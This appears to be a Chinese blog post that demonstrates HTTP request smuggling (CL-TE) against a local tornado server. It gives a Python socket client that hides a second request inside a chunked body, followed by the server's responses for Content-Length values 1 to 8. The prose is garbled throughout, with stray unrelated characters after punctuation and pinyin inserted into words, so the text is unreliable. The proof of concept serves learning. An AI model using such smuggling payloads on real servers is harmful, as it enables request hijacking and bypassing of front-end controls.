筆者準備使用python嘗試模擬下http請求走私的一些情況(CL-TE)触机,我看網(wǎng)上用brup的比較多哈畜普。
首先準備一個WebServer砸脊,筆者這里準備使用python和tornado (tornado這里是支持keep-alive的)涡匀, 都用最新的吧拴事。
- tornado起一個簡單的web服務(wù)蒋伦。
# -*- coding: utf-8 -*-
import tornado.ioloop
import tornado.web
import logging
logging.basicConfig(level=logging.DEBUG)
class MainHandler(tornado.web.RequestHandler):
def get(self):
try:
data = self.request.body.decode()
print('data: ', data)
self.write({"code": 2000, "msg": "get ok", "data": data})
except Exception as e:
print(e)
def post(self):
try:
data = self.request.body.decode()
self.write({"code": 2000, "msg": "post ok", "data": data})
except Exception as e:
print(e)
def make_app():
return tornado.web.Application([
(r"/get_demo", MainHandler),
(r"/post_demo", MainHandler)
])
if '__main__' == __name__:
app = make_app()
app.listen(address="127.0.0.1", port=9000)
print('listen 9000 success')
tornado.ioloop.IOLoop.current().start()
- python使用socket發(fā)送http協(xié)議的數(shù)據(jù)
# -*- coding: utf-8 -*-
import socket
import time
server_host = "127.0.0.1"
server_port = 9000
def main():
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((server_host, server_port))
try:
http_request = (f"GET /get_demo HTTP/1.1\r\n"
f"Host: {server_host}\r\n"
f"Transfer-Encoding: chunked\r\n"
f"\r\n"
f"3\r\n"
f"abc\r\n"
f"0\r\n"
f"\r\n"
f"GGET /get_demo HTTP/1.1\r\n\r\n"
)
client_socket.send(http_request.encode())
response_data = b""
time.sleep(1)
data = client_socket.recv(1024)
response_data += data
print("響應(yīng)內(nèi)容如下:")
print(response_data.decode())
except Exception as e:
print(e)
if '__main__' == __name__:
main()
這里如果同時啟用Transfer-Encoding和Content-Length弓摘,tornado會出現(xiàn)報錯(Response with both Transfer-Encoding and Content-Length)因此請求頭內(nèi)只給chunked,注釋掉了length痕届。
分析結(jié)果首先 /get_demo 請求成功韧献,但是后續(xù)的 GGET /get_demo 請求會報405(405: Method Not Allowed)。
查看tornado源碼研叫,會發(fā)現(xiàn)httputil.py文件里的parse_request_start_line會被反復(fù)調(diào)用锤窑,直到解析http協(xié)議出錯。
一次http請求讓后端執(zhí)行了兩次解析嚷炉。第二次請求其實就類似于協(xié)議走私渊啰,因為第一次請求里面夾帶了私貨嘛~~~
關(guān)于Content-Length的長度問題,筆者還想分享下申屹。
一般而言绘证,如果length的長度大于實際body內(nèi)容的長度,會導(dǎo)致后端服務(wù)器一直等待哗讥;如果長度小于body內(nèi)容嚷那,會導(dǎo)致后端報錯(Malformed HTTP request line)。如果內(nèi)容為 "abc"杆煞, 則長度為5魏宽。要注意 特殊符號 "\r\n"占了2字節(jié)腐泻,需要放在"abc"后面。也就是body實際內(nèi)容為 "abc\r\n"队询,如果想包含最后一個換行和空格派桩,也行(也就是7)。但是超過7就不行了蚌斩,會導(dǎo)致后端一直等待窄坦。
筆者這里列出content-length分別為 1至8的全部結(jié)果,僅供參考凳寺。
f"Content-Length: 1\r\n"
f"\r\nabc\r\n\r\n"
Content-Length 1: {"code": 2000, "msg": "get ok", "data": "a"}HTTP/1.1 400 Bad Request
Content-Length 2: {"code": 2000, "msg": "get ok", "data": "ab"}HTTP/1.1 400 Bad Request
Content-Length 3: {"code": 2000, "msg": "get ok", "data": "abc"}HTTP/1.1 400 Bad Request
Content-Length 4: {"code": 2000, "msg": "get ok", "data": "abc\r"}HTTP/1.1 400 Bad Request
Content-Length 5: {"code": 2000, "msg": "get ok", "data": "abc\r\n"}
Content-Length 6: {"code": 2000, "msg": "get ok", "data": "abc\r\n\r"}
Content-Length 7: {"code": 2000, "msg": "get ok", "data": "abc\r\n\r\n"}
Content-Length 8: 無響應(yīng)